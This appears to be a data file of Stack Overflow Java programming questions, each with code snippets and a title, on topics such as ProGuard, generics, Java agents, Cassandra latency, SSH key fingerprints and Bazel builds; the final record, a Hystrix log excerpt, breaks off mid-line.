obfuscate my Scala/Java program using Proguard . While I was using only scala-library.jar , everything was fine , but when I add scala-swing.jar to my jars , I get the following : If I look into the jar , I see that there are really no such files - there is scala.swing.ComboBox $ selection $ .class instead of scala.swing.ComboBox $ selection.class . Manually renaming does not do the trick - it then complains that the file contains class with different name . So , are these illegal references in scala-swing.jar ? Or a bug in Proguard ? Can you suggest a workaround ? EDIT : I 'm using Scala 2.9.0.1 and Proguard 4.6EDIT2 : Using Scala 2.9.1.final jars did n't help .",Warning : scala.swing.ComboBox : ca n't find referenced class scala.swing.ComboBox $ selectionWarning : scala.swing.ListView : ca n't find referenced class scala.swing.ListView $ selectionWarning : scala.swing.ListView $ selection $ : ca n't find referenced class scala.swing.ListView $ selection $ indicesWarning : scala.swing.ListView $ selection $ : ca n't find referenced class scala.swing.ListView $ selection $ itemsWarning : scala.swing.ListView $ selection $ $ anon $ 7 : ca n't find referenced class scala.swing.ListView $ selectionWarning : scala.swing.ListView $ selection $ Indices : ca n't find referenced class scala.swing.ListView $ selectionWarning : scala.swing.ListView $ selection $ indices $ : ca n't find referenced class scala.swing.ListView $ selection $ indicesWarning : scala.swing.ListView $ selection $ indices $ : ca n't find referenced class scala.swing.ListView $ selection $ indicesWarning : scala.swing.ListView $ selection $ indices $ : ca n't find referenced class scala.swing.ListView $ selectionWarning : scala.swing.ListView $ selection $ items $ : ca n't find referenced class scala.swing.ListView $ selection,How to shrink scala swing library using Proguard ? +Java,If the following code : Is implemented using using StringBuilder equivalent tothen will extra objects `` a '' and `` b '' be created in 1 and why ?,String s = `` a '' + 1 + `` b '' ; // 1 . String s = new StringBuilder ( ) .append ( `` a '' ) .append ( 1 ) .append ( `` b '' ) ;,If String concatenation using + is implemented using StringBuilder then why are extra objects created during concatenation ? +Java,"Is there a way to retrieve which T was given for an implementation of Foo ? For example , Would return Green .",public Interface Foo < T extends Colors > { ... } public Class FooImpl implements Foo < Green > { .. },Java generics - retrieve type +Java,"Is there a guaranteed sequence of execution of the following java code : Is getA ( ) always executed before getB ( ) , as any average person would expect ?",int i = getA ( ) + getB ( ) ;,sequence points in java +Java,"I need to convert raw Map to Map < string , string > , and I think I have to first convert the raw map to Map < Object , Object > and then convert it again to Map < String , String > .code snippet goes like below.I guess it would work in any condition but I want to hear from others about possible danger of this code . ( any possiblities for ClassCastException for example ? ) Please also let me know if you have a better idea . -- revised codeSince raw Map entries will contain key/value of Objects anyway , I think I do n't need temporary Map < Object , Object > . Just iterating over each item works well and I do n't see any issues so far .","Map obj1 = new HashMap ( ) ; obj1.put ( `` key1 '' , 1 ) ; obj1.put ( `` key2 '' , false ) ; obj1.put ( `` key3 '' , 3.94f ) ; Map < Object , Object > obj2 = obj1 ; Map < String , String > obj = new HashMap < String , String > ( ) ; for ( Map.Entry < Object , Object > entry : obj2.entrySet ( ) ) { obj.put ( entry.getKey ( ) .toString ( ) , entry.getValue ( ) .toString ( ) ) ; } Map obj1 = new HashMap ( ) ; obj1.put ( 2 , 1 ) ; obj1.put ( true , false ) ; obj1.put ( 4.4f , 3.94f ) ; Map < String , String > obj = new HashMap < String , String > ( ) ; for ( Object k : obj1.keySet ( ) ) { obj.put ( k.toString ( ) , obj1.get ( k ) .toString ( ) ) ; }","Casting raw Map to Map < Object , Object > , will there be any issue ?" +Java,"Based on this tutorial I try to get a java agent to work.https : //www.baeldung.com/java-instrumentation # loading-a-java-agentI do get [ Agent ] Transforming class TestApplicationI have no errors , but I ca n't see any effect of transforming the class.Eventually I would like to get both static load and dynamic load to work , but for now I focus on the static way.I launch with : java -javaagent : static_agent.jar= '' doeke.application.TestApplication ; test '' -jar application.jarIn case it helps , the project is here : https : //github.com/clankill3r/java_agentEdit : In the Transformer.java near the end of the file I use e.printStackTrace ( ) ; now.I get the following error : [ Agent ] Transforming class TestApplication javassist.NotFoundException : doeke.application.TestApplication at javassist.ClassPool.get ( ClassPool.java:436 ) at doeke.transformer.Transformer.transform ( Transformer.java:48 ) at java.instrument/java.lang.instrument.ClassFileTransformer.transform ( ClassFileTransformer.java:246 ) at java.instrument/sun.instrument.TransformerManager.transform ( TransformerManager.java:188 ) at java.instrument/sun.instrument.InstrumentationImpl.transform ( InstrumentationImpl.java:563 ) at java.instrument/sun.instrument.InstrumentationImpl.retransformClasses0 ( Native Method ) at java.instrument/sun.instrument.InstrumentationImpl.retransformClasses ( InstrumentationImpl.java:167 ) at doeke.static_agent.Static_Agent.transform ( Static_Agent.java:56 ) at doeke.static_agent.Static_Agent.transformClass ( Static_Agent.java:34 ) at doeke.static_agent.Static_Agent.premain ( Static_Agent.java:22 ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:566 ) at java.instrument/sun.instrument.InstrumentationImpl.loadClassAndStartAgent ( InstrumentationImpl.java:513 ) at java.instrument/sun.instrument.InstrumentationImpl.loadClassAndCallPremain ( InstrumentationImpl.java:525 ) -- - start -- - 0 1","public class Static_Agent { public static void premain ( String agentArgs , Instrumentation inst ) { String [ ] tokens = agentArgs.split ( `` ; '' ) ; String className = tokens [ 0 ] ; String methodName = tokens [ 1 ] ; System.out.println ( `` > > `` +className ) ; System.out.println ( `` > > `` +methodName ) ; transformClass ( className , methodName , inst ) ; } public static void transformClass ( String className , String methodName , Instrumentation instrumentation ) { Class < ? > targetCls = null ; ClassLoader targetClassLoader = null ; // see if we can get the class using forName try { targetCls = Class.forName ( className ) ; targetClassLoader = targetCls.getClassLoader ( ) ; transform ( targetCls , methodName , targetClassLoader , instrumentation ) ; return ; } catch ( Exception ex ) { ex.printStackTrace ( ) ; } // otherwise iterate all loaded classes and find what we want for ( Class < ? > clazz : instrumentation.getAllLoadedClasses ( ) ) { if ( clazz.getName ( ) .equals ( className ) ) { targetCls = clazz ; targetClassLoader = targetCls.getClassLoader ( ) ; transform ( targetCls , methodName , targetClassLoader , instrumentation ) ; return ; } } throw new RuntimeException ( `` Failed to find class [ `` + className + `` ] '' ) ; } public static void transform ( Class < ? > clazz , String methodName , ClassLoader classLoader , Instrumentation instrumentation ) { Transformer dt = new Transformer ( clazz.getName ( ) , methodName , classLoader ) ; instrumentation.addTransformer ( dt , true ) ; try { instrumentation.retransformClasses ( clazz ) ; } catch ( Exception ex ) { throw new RuntimeException ( `` Transform failed for class : [ `` + clazz.getName ( ) + `` ] '' , ex ) ; } } } public class Transformer implements ClassFileTransformer { /** The internal form class name of the class to transform */ private String targetClassName ; /** The class loader of the class we want to transform */ private ClassLoader targetClassLoader ; private String targetMethodName ; public Transformer ( String targetClassName , String targetMethodName , ClassLoader targetClassLoader ) { this.targetClassName = targetClassName ; this.targetClassLoader = targetClassLoader ; this.targetMethodName = targetMethodName ; } @ Override public byte [ ] transform ( ClassLoader loader , String className , Class < ? > classBeingRedefined , ProtectionDomain protectionDomain , byte [ ] classfileBuffer ) throws IllegalClassFormatException { byte [ ] byteCode = classfileBuffer ; String finalTargetClassName = this.targetClassName.replaceAll ( `` \\ . `` , `` / '' ) ; if ( ! className.equals ( finalTargetClassName ) ) { return byteCode ; } if ( className.equals ( finalTargetClassName ) & & loader.equals ( targetClassLoader ) ) { System.out.println ( `` [ Agent ] Transforming class TestApplication '' ) ; try { ClassPool cp = ClassPool.getDefault ( ) ; CtClass cc = cp.get ( targetClassName ) ; CtMethod m = cc.getDeclaredMethod ( targetMethodName ) ; m.addLocalVariable ( `` startTime '' , CtClass.longType ) ; m.insertBefore ( `` startTime = System.currentTimeMillis ( ) ; '' ) ; StringBuilder endBlock = new StringBuilder ( ) ; m.addLocalVariable ( `` endTime '' , CtClass.longType ) ; m.addLocalVariable ( `` opTime '' , CtClass.longType ) ; endBlock.append ( `` endTime = System.currentTimeMillis ( ) ; '' ) ; endBlock.append ( `` opTime = ( endTime-startTime ) /1000 ; '' ) ; endBlock.append ( `` System.out.println ( \ '' [ Application ] Withdrawal operation completed in : \ '' + opTime + \ '' seconds ! \ '' ) ; '' ) ; m.insertAfter ( endBlock.toString ( ) ) ; byteCode = cc.toBytecode ( ) ; cc.detach ( ) ; } catch ( Exception e ) { System.out.println ( `` Exception '' +e ) ; } } return byteCode ; } } public class TestApplication { public static void main ( String [ ] args ) { try { TestApplication.run ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } public static void run ( ) throws Exception { System.out.println ( `` -- - start -- - '' ) ; while ( true ) { test ( ) ; Thread.sleep ( 4_000 ) ; } } static int count = 0 ; public static void test ( ) { System.out.println ( count++ ) ; } }",transforming class has no effect +Java,"I am rewriting Jack Crenshaw 's `` let 's build a compiler '' from Turbo Pascal 4.0 to JAVA . This is motivating because the classic book does not have yet an O-O version Is there a more modern , OO version of `` Let 's Build a Compiler '' ? The book contains 15 chapters . The compiler is presented in an incremental manner : Chapter I provides the boilerplate codes for the whole compiler , then each chapter adds some lines to the Pascal procedures of the precedent chapter . I have already translated the first 2 chapters , each chapter as a package , each Pascal procedure as a static protected method in JAVA , the procedures of one chapter are gathered in a single class that extends the class translated from its precedent chapter . However , when I come to td3 , I have to update the factor ( ) of td2.Cradle , but I do not want to change in td2.Cradle the factor ( ) , because that will make the factor ( ) in td2 do more than it should have presented in td2 . I thought of `` extend '' td2.Cradle ( ) , however , it seems impossible to extend a static class . My related question hereMaybe should I change every static method to non-static one ? I certainly need some design pattern here , any one can help ? I hope I was clear . In summary , this project incrementally presents more and more instructions for each procedure and I do hope to record the intermediate steps using some JAVA mechanism like inheritance.The Pascal code is the classic book is here LBC . I feel attempted to use inheritance because Each chapter calls/adds a bit more lines to the procedures defined in precedent chaptersI hope to make my JAVA source code usable to everyone who wants to follow LBC step by step . So it is not appropriate to use a single class to put in the final source code of the author 's compiler . It is essential to split the codes by chapters and increment them gradually as Crenshaw did . My actual solution is to keep the methods of tp1.Cradle as static . The methods in tp2.Cradle , tp3.Cradle , ... , until tp15.Cradle will be non-static , and they all statically import tp1.Cradle . * . Furthermore , for every integer i greater than 2 , tp [ i ] .Cradle extends tp [ i-1 ] .Cradle . Do n't hesitate to tell me better solution .",package td1 ; public class Cradle { protected final static char TAB='\t ' ; protected static char look ; protected static void getChar ( ) throws IOException { look= ( char ) System.in.read ( ) ; } ... } package td2 ; public class Cradle extends td1.Cradle { protected static void factor ( ) throws IOException { ... } ... },Design pattern for rewriting Crenshaw 's `` let 's build a compiler '' ? +Java,"We 're on Cassandra 2.0.15 , and seeing huge read latencies ( > 60sec ) coming up at regular intervals ( about every 3min ) , from all app hosts . We measure this latency around calls to session.execute ( stmt ) . At the same time , Cassandra traces report duration of < 1s . We also ran , in a loop , a query via cqlsh from the same hosts during those peak latency times , and cqlsh always came back within 1s . What can explain this discrepancy at the Java driver level ? -- edit : in reply to comments -- Cassandra servers JVM settings : -XX : +CMSClassUnloadingEnabled -XX : +UseThreadPriorities -XX : ThreadPriorityPolicy=42 -XX : +HeapDumpOnOutOfMemoryError -Xss256k -XX : StringTableSize=1000003 -Xms32G -Xmx32G -XX : +UseG1GC -Djava.net.preferIPv4Stack=true -Dcassandra.jmx.local.port=7199 -XX : +DisableExplicitGC . Client side GC is negligible ( below ) . Client settings : -Xss256k -Xms4G -Xmx4G , Cassandra driver version is 2.1.7.1Client side measuring code : Cluster construction code : One more observation I can not explain . I ran two threads that execute the same query in the same manner ( as above ) in a loop , the only difference is yellow thread sleeps 100millisec between queries , and green thread sleeps 60sec between queries . Green thread hits low latency ( under 1s ) much more often than the yellow one .","val selectServiceNames = session.prepare ( QueryBuilder.select ( `` service_name '' ) .from ( `` service_names '' ) ) override def run ( ) : Unit = { val start = System.currentTimeMillis ( ) try { val resultSet = session.execute ( selectServiceNames.bind ( ) ) val serviceNames = resultSet.all ( ) val elapsed = System.currentTimeMillis ( ) - start latency.add ( elapsed ) // emits metric to statsd if ( elapsed > 10000 ) { log.info ( `` Canary2 sensed high Cassandra latency : `` + elapsed + `` ms '' ) } } catch { case e : Throwable = > log.error ( e , `` Canary2 select failed '' ) } finally { Thread.sleep ( 100 ) schedule ( ) } } def createClusterBuilder ( ) : Cluster.Builder = { val builder = Cluster.builder ( ) val contactPoints = parseContactPoints ( ) val defaultPort = findConnectPort ( contactPoints ) builder.addContactPointsWithPorts ( contactPoints ) builder.withPort ( defaultPort ) // This ends up config.protocolOptions.port if ( cassandraUsername.isDefined & & cassandraPassword.isDefined ) builder.withCredentials ( cassandraUsername ( ) , cassandraPassword ( ) ) builder.withRetryPolicy ( ZipkinRetryPolicy.INSTANCE ) builder.withLoadBalancingPolicy ( new TokenAwarePolicy ( new LatencyAwarePolicy.Builder ( new RoundRobinPolicy ( ) ) .build ( ) ) ) }",Discrepancy between Cassandra trace and client-side latency +Java,"When connecting to a `` new '' SSH server , with the command line , a fingerprint will be shown : The authenticity of host 'test.com ( 0.0.0.0 ) ' ca n't be established . ECDSA key fingerprint is SHA256:566gJgmcB43EXimrT0exEKfxSd3xc7RBS6EPx1XZwYc . Are you sure you want to continue connecting ( yes/no ) ? I understand that the fingerprint is a Base64 string of the SHA256 hash of the public key.I know how to generate this fingerprint with a RSAPublicKey : But how can I do this with a BCECPublicKey ? UPDATEI found out that the BCECPublicKey is n't similar to RSAPublicKey at all . I never knew that the SSH server public key is ECDSA and the client public key is RSA . Also the way the bytes are structured is way different . The RSA public key starts with a header ( ssh-rsa ) . The header length can be read from the first 4 bytes ( readInt ( ) ) . But when I do this with the ECDSA the length is way to long to represent a header ... Addition to answerSomething to copy paste :",RSAPublicKey publicKey = ... ; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ( ) ; DataOutputStream dataOutputStream = new DataOutputStream ( byteArrayOutputStream ) ; dataOutputStream.writeInt ( `` ssh-rsa '' .getBytes ( ) .length ) ; dataOutputStream.write ( `` ssh-rsa '' .getBytes ( ) ) ; dataOutputStream.writeInt ( publicKey.getPublicExponent ( ) .toByteArray ( ) .length ) ; dataOutputStream.write ( publicKey.getPublicExponent ( ) .toByteArray ( ) ) ; dataOutputStream.writeInt ( publicKey.getModulus ( ) .toByteArray ( ) .length ) ; dataOutputStream.write ( publicKey.getModulus ( ) .toByteArray ( ) ) ; MessageDigest digest = MessageDigest.getInstance ( `` SHA256 '' ) ; byte [ ] result = digest.digest ( byteArrayOutputStream.toByteArray ( ) ) ; String fingerprint = Base64.getEncoder ( ) .encodeToString ( result ) ; BCECPublicKey publicKey = ... ; byte [ ] point = SubjectPublicKeyInfo.getInstance ( ASN1Sequence.getInstance ( publicKey.getEncoded ( ) ) ) .getPublicKeyData ( ) .getOctets ( ) ; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ( ) ; DataOutputStream dataOutputStream = new DataOutputStream ( byteArrayOutputStream ) ; dataOutputStream.writeInt ( `` ecdsa-sha2-nistp256 '' .getBytes ( ) .length ) ; dataOutputStream.write ( `` ecdsa-sha2-nistp256 '' .getBytes ( ) ) ; dataOutputStream.writeInt ( `` nistp256 '' .getBytes ( ) .length ) ; dataOutputStream.write ( `` nistp256 '' .getBytes ( ) ) ; dataOutputStream.writeInt ( point.length ) ; dataOutputStream.write ( point ) ; MessageDigest digest = MessageDigest.getInstance ( `` SHA256 '' ) ; byte [ ] result = digest.digest ( byteArrayOutputStream.toByteArray ( ) ) ; String fingerprint = Base64.getEncoder ( ) .encodeToString ( result ) ;,BCECPublicKey to fingerprint +Java,"My boss just told me that he learned about fast VB6 algorithms from a book and that the shortest way to write things is not necessarily the fastest ( e.g . builtin methods are sometimes way slower than selfwritten ones because they do all kinds of checking or unicode conversions which might not be necessary in your case ) .Now I wonder , is there a website with info on fast different constructs are in various languages , esp . Java/C # /Python/… ( also C++ but there are so many compilers which probably differ a lot ) .E.g . is there a difference betweenandAnother example : is a = a * 4 maybe compiled to the same code as a < < = 2 ? I could test this myself , of course , writing both then running them 100000 times and comparing the runtime , but I 'd also like to learn about new ways to write things , maybe even things that I had n't considered before . Thanks for your answers !",if ( a ( ) ) b ( ) ; a ( ) & & b ( ) ;,Speed of different constructs in programming languages ( Java/C # /C++/Python/… ) +Java,"When I was working on a project of mine and had to use a lot of nested objects , I became very unsure of my design of structure in Java when I wanted to set an instance variable of a deeply nested object from the upper object . It feels like I miss a basic understanding perhaps of structured design in Java . Any insight in this is appreciated.Imagine I have an object which has a logical structure of having nested sub objects as variables . For example : If I now want to set a private String variable 'nameOfKing ' in King from the main object ( Country ) , I would have to define every method in all upper classes of King . So something like this : so that I can call country.setNameOfKing ( n ) ; . Now this is fine if you have just a few variables , but what if the classes King , Palace , Capital each have many other variables and methods defined and all of them have to be called from Country . What if Palace also contains other class objects like ( just making stuff up now ) ThroneRoom , Treasury , Queen , etc ... It would mean that for almost all methods in the sub classes , one has to exist in the Country class , which could potentially mean you have to create a huge amount of methods simply for passing info to the sub objects resulting in a very large Country class.Now I suppose you could technically say that King could also be defined in the Country itself , doing away with the extra methods in Palace and Capital , but it would still mean the methods have to exists in the Country class and what if this structure makes sense as in logic grouped together , what would be the best approach for this ? I 'm not sure there is a better way , but I ca n't shake the feeling I 'm missing something here .",Country Capital Palace King public class Country { private Capital capital ; public void setNameOfKing ( String n ) { capital.setNameOfKing ( n ) ; } } public class Capital { private Palace palace ; public void setNameOfKing ( String n ) { palace.setNameOfKing ( n ) ; } } public class Palace { private King king ; public void setNameOfKing ( String n ) { king.setNameOfKing ( n ) ; } } public class King { private String nameOfKing ; public void setNameOfKing ( String n ) { this.nameOfKing = n ; } },java design : repetitive methods of sub-objects +Java,"There is no error during auto-boxing of constants with int and short types to Byte , but constant with long type do has error . Why ?",final int i = 3 ; Byte b = i ; // no errorfinal short s = 3 ; Byte b = s ; // no errorfinal long l = 3 ; Byte b = l ; // error,"Why during autoboxing final long to Byte compilation error happens , but final int to Byte is ok ?" +Java,"I 'm currently trying to compile the latest version of Bazel ( 2.2.0 ) from source on a headless Raspberry Pi 4 that has Raspbian Buster installed . I was using this page as an installation guide.I had no issue following the instructions on that page ( all dependencies installed , Java 8 installed , swapsize changed , etc etc ) until the point where I started compiling . The build failed with this error : However , running find / -name jni_md.h 2 > /dev/null returns /usr/lib/jvm/java-8-openjdk-armhf/include/linux/jni_md.hSo it 's not as if the header file is missing from my system.From looking around online ( this question specifically ) I apparently need to include an additional argument for gcc so it can see the file ? However , I 'm not sure where exactly I can find the specific build file I would need to edit in order to do so.If anyone can help point me in the right direction , or if there 's another solution that can fix this error , it would be appreciated .",ERROR : /home/pi/bazel/src/main/java/com/google/devtools/build/lib/syntax/BUILD:150:1 : C++ compilation of rule '//src/main/java/com/google/devtools/build/lib/syntax : libcpu_profiler.so ' failed ( Exit 1 ) : gcc failed : error executing command ( cd /tmp/bazel_hpBqNseU/out/execroot/io_bazel & & \ exec env - \ PATH=/home/pi/.local/bin : /usr/local/sbin : /usr/local/bin : /usr/sbin : /usr/bin : /sbin : /bin : /usr/local/games : /usr/games \ PWD=/proc/self/cwd \ /usr/bin/gcc -U_FORTIFY_SOURCE -fstack-protector -Wall -Wunused-but-set-parameter -Wno-free-nonheap-object -fno-omit-frame-pointer -g0 -O2 '-D_FORTIFY_SOURCE=1 ' -DNDEBUG -ffunction-sections -fdata-sections '-std=c++0x ' -MD -MF bazel-out/arm-opt/bin/src/main/java/com/google/devtools/build/lib/syntax/_objs/libcpu_profiler.so/cpu_profiler_unimpl.pic.d '-frandom-seed=bazel-out/arm-opt/bin/src/main/java/com/google/devtools/build/lib/syntax/_objs/libcpu_profiler.so/cpu_profiler_unimpl.pic.o ' -fPIC -iquote . -iquote bazel-out/arm-opt/bin -iquote external/bazel_tools -iquote bazel-out/arm-opt/bin/external/bazel_tools -isystem external/bazel_tools/tools/jdk/include -isystem bazel-out/arm-opt/bin/external/bazel_tools/tools/jdk/include -fno-canonical-system-headers -Wno-builtin-macro-redefined '-D__DATE__= '' redacted '' ' '-D__TIMESTAMP__= '' redacted '' ' '-D__TIME__= '' redacted '' ' -c src/main/java/com/google/devtools/build/lib/syntax/cpu_profiler_unimpl.cc -o bazel-out/arm-opt/bin/src/main/java/com/google/devtools/build/lib/syntax/_objs/libcpu_profiler.so/cpu_profiler_unimpl.pic.o ) Execution platform : // : default_host_platformIn file included from src/main/java/com/google/devtools/build/lib/syntax/cpu_profiler_unimpl.cc:17 : bazel-out/arm-opt/bin/external/bazel_tools/toolsls/jdk/include/jni.h:45:10 : fatal error : jni_md.h : No such file or directory # include `` jni_md.h '' ^~~~~~~~~~compilation terminated .,"Bootstrapping Bazel for Raspberry Pi 4 failed , jni_md.h not found" +Java,"I have created a basic Jsp example , when i am going through the Servlet file created automaticaly by Jsp . I have seen two reference of PageContext and JspWriter in _jspService method . Why there are two refences of PageContext and JspWriterpublic void _jspService ( final javax.servlet.http.HttpServletRequest request , final javax.servlet.http.HttpServletResponse response ) throws java.io.IOException , javax.servlet.ServletException { `",final javax.servlet.jsp.PageContext pageContext ; javax.servlet.http.HttpSession session = null ; final javax.servlet.ServletContext application ; final javax.servlet.ServletConfig config ; javax.servlet.jsp.JspWriter out = null ; final java.lang.Object page = this ; javax.servlet.jsp.JspWriter _jspx_out = null ; javax.servlet.jsp.PageContext _jspx_page_context = null ;,why jsp create two reference of PageContext and JspWriter while coneverting Jsp to Servlet +Java,"I know the wording is a bit confusing and strange , but bear with me , I have no clue how to phrase that any shorter . Say you have a class called SuperBlah , and you inherited it in a class called Blah then you inherited Blah into a class called ChildBlah ( So SuperBlah-Blah-ChildBlah ) . Would the super ( ) ; keyword used in the ChildBlah 's constructor called the SuperBlah 's constructor if Blah does n't have a constructor ? To those of you who said no , then why does this work ? We have a class called BlusterBug that extends Critter class , and calls the super in the BlusterBug 's constructor . Critter does n't have a constructor , but the Class that Critter extends does have a constructor . ( I purposefully omitted the rest of the code on the classes ) Then in the Critter class , it does n't have any constructors ! But then the Actor class has a constructor ! And the weirdest part ? The program works perfectly fine and the compiler does n't do catch any errors ! How is this happening ?","public class BlusterCritter extends Critter { // instance vaiables private int courageFactor ; private static final double DARKENING_FACTOR = 0.05 ; // create a constructor ( include what is necesary for parent ) public BlusterCritter ( int c ) { super ( ) ; courageFactor = c ; } public class Critter extends Actor// omitted all the code { /** * A critter acts by getting a list of other actors , processing that list , * getting locations to move to , selecting one of them , and moving to the * selected location . */ public void act ( ) { if ( getGrid ( ) == null ) return ; ArrayList < Actor > actors = getActors ( ) ; processActors ( actors ) ; ArrayList < Location > moveLocs = getMoveLocations ( ) ; Location loc = selectMoveLocation ( moveLocs ) ; makeMove ( loc ) ; } public class Actor { private Grid < Actor > grid ; private Location location ; private int direction ; private Color color ; /** * Constructs a blue actor that is facing north . */ public Actor ( ) { color = Color.BLUE ; direction = Location.NORTH ; grid = null ; location = null ; }","In Java , can you call a parent class 's superclass constructor through the constructor of the child class of the parent class ?" +Java,"In VB6 there are local static variables that keep their values after the exit of procedure . It 's like using public vars but on local block . For example : After 10 calls , x will be 10 . I tried to search the same thing in .NET ( and even Java ) but there was none . Why ? Does it break the OOP model in some way , and is there a way to emulate that .",sub count ( ) static x as integerx = x + 1end sub,VB6 's private static in C # ? +Java,In the statement : barFunc ( ) can obviously not execute until both bazFunc ( ) and fooFunc ( ) have completed.But is the order of execution of fooFunc ( ) and bazFunc ( ) guaranteed ? Related ( but different ! ) question : Order of execution of parameters guarantees in Java ?,fooFunc ( ) .barFunc ( bazFunc ( ) ) ;,Order of execution of methods describing an instance and an argument in Java ? +Java,"I am trying to create multiple start script files through gradle . But somehow one particular start script file is getting duplicated.in bin directory I can see , A.shA.shA.batA.batB.shB.batWhat am I missing here ? How to fix this ? Thank you for help .","startScripts.enabled = falserun.enabled = falsedef createScript ( project , mainClass , name ) { project.tasks.create ( name : name , type : CreateStartScripts ) { outputDir = new File ( project.buildDir , 'scripts ' ) mainClassName = mainClass applicationName = name classpath = jar.outputs.files + project.configurations.runtime doLast { def windowsScriptFile = file getWindowsScript ( ) def unixScriptFile = file getUnixScript ( ) windowsScriptFile.text = windowsScriptFile.text.replace ( ' % APP_HOME % \\lib\\conf ' , ' % APP_HOME % \\conf ' ) unixScriptFile.text = unixScriptFile.text.replace ( ' $ APP_HOME/lib/conf ' , ' $ APP_HOME/conf ' ) } } project.tasks [ name ] .dependsOn ( project.jar ) project.applicationDistribution.with { into ( `` bin '' ) { from ( project.tasks [ name ] ) fileMode = 0755 } } } // Call this for each Main class you want to expose with an app scriptcreateScript ( project , 'com.main.A ' , ' A ' ) createScript ( project , 'com.main.B ' , ' B ' )",Gradle creating duplicate start scripts into bin directory +Java,so I added the dependency for Hystrix-AMQP to my service and the log file is going crazy it just keep on logging metrics stuff . I need that jar to actually use it with turbine-AMQP.here is what i have in my gradle for hystrix : -This is what keeps on generating in my logs it just keeps on running : -Here is what i have in my application.ymlHow can i stop the service from generating all the logs repetitively . Is there some sort of property that I can set in application.yml or if there is anything i can do.UPDATE : It looks like the issue is caused because of sleuth based on the issue here- https : //github.com/spring-cloud/spring-cloud-sleuth/issues/49I added spring.sleuth.log.slf4j.enabled : false but the problem it removes all the trace iDs and span ids so adding this does fix the issue but my application logs will be messed up.Any suggestions .,"compile ( `` org.springframework.cloud : spring-cloud-starter-hystrix:1.0.6.RELEASE '' ) compile ( 'org.springframework.cloud : spring-cloud-starter-bus-amqp:1.0.6.RELEASE ' ) compile ( 'org.springframework.cloud : spring-cloud-netflix-hystrix-amqp:1.0.7.RELEASE ' ) compile ( 'com.netflix.hystrix : hystrix-javanica:1.5.2 ' ) 2016-05-03 13:49:14.698 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308554698 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=21825112-0c71-4c6a-a9ca-51b11a21e4e5 , parents= [ ] , spanId=053946b5-7287-41f4-8579-d048655f41ea , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:14.698 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308554698 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=21825112-0c71-4c6a-a9ca-51b11a21e4e5 , parents= [ ] , spanId=053946b5-7287-41f4-8579-d048655f41ea , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:14.698 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308554698 , end=1462308554698 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=21825112-0c71-4c6a-a9ca-51b11a21e4e5 , parents= [ ] , spanId=053946b5-7287-41f4-8579-d048655f41ea , remote=false , annotations= { /messaging/headers/id=e1cc5042-1a5c-e3f9-6f3c-de936d1aa959 , /messaging/headers/timestamp=1462308554698 , /messaging/payload/type=java.lang.String , /messaging/payload/size=592 } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:14.698 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308554698 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=6cc342bb-9693-493a-8fa8-8a17c2ff06c3 , parents= [ ] , spanId=10cdee69-22f8-43ab-883f-3e09b29ab6fb , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:14.699 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308554698 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=6cc342bb-9693-493a-8fa8-8a17c2ff06c3 , parents= [ ] , spanId=10cdee69-22f8-43ab-883f-3e09b29ab6fb , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:14.699 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308554698 , end=1462308554699 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=6cc342bb-9693-493a-8fa8-8a17c2ff06c3 , parents= [ ] , spanId=10cdee69-22f8-43ab-883f-3e09b29ab6fb , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.199 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308555199 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=4c5fd89d-f5d2-45bf-a727-32a3e1b57c35 , parents= [ ] , spanId=c7e254b5-63de-4a00-9d91-1584edd9650c , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.199 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308555199 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=896e5143-fa67-4fd1-b97e-517282780e94 , parents= [ ] , spanId=ee1d4f95-30c1-4784-8366-58c3a73c3565 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.199 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308555199 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=4c5fd89d-f5d2-45bf-a727-32a3e1b57c35 , parents= [ ] , spanId=c7e254b5-63de-4a00-9d91-1584edd9650c , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.199 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308555199 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=896e5143-fa67-4fd1-b97e-517282780e94 , parents= [ ] , spanId=ee1d4f95-30c1-4784-8366-58c3a73c3565 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.199 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308555199 , end=1462308555199 , name=execution ( HystrixStreamTask.gatherMetrics ( ) 